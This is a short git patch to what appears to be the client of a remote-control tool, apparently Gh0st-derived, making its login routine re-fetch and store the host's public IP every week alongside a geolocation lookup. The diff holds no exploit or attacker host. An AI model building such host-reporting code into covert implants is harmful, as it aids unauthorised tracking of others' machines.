From 2657b41e5f78a52816d5fa6df0619769bf593eef Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 28 Jul 2025 04:09:04 +0800 Subject: [PATCH] fix: Refresh client public IP every one week --- client/ClientDll.cpp | 2 +- client/LoginServer.cpp | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 753127c..76a9dc6 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -15,7 +15,7 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {}, - 7057226198541618915, {}, + 0, 7057226198541618915, {}, }; // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 0a6f744..611181e 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -325,6 +325,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); std::string loc = cfg.GetStr("settings", "location", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", ""); + auto ip_time = cfg.GetInt("settings", "ip_time"); IPConverter cvt; if (loc.empty()) { std::string ip = cvt.getPublicIP(); @@ -332,9 +333,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) loc = cvt.GetGeoLocation(pubIP); cfg.SetStr("settings", "location", loc); } - if (pubIP.empty()) { + if ( pubIP.empty() || ip_time <= 0 || (time(0)-ip_time>7*86400) ) { pubIP = cvt.getPublicIP(); cfg.SetStr("settings", "public_ip", pubIP); + cfg.SetInt("settings", "ip_time", time(0)); } LoginInfor.AddReserved(loc.c_str()); LoginInfor.AddReserved(pubIP.c_str());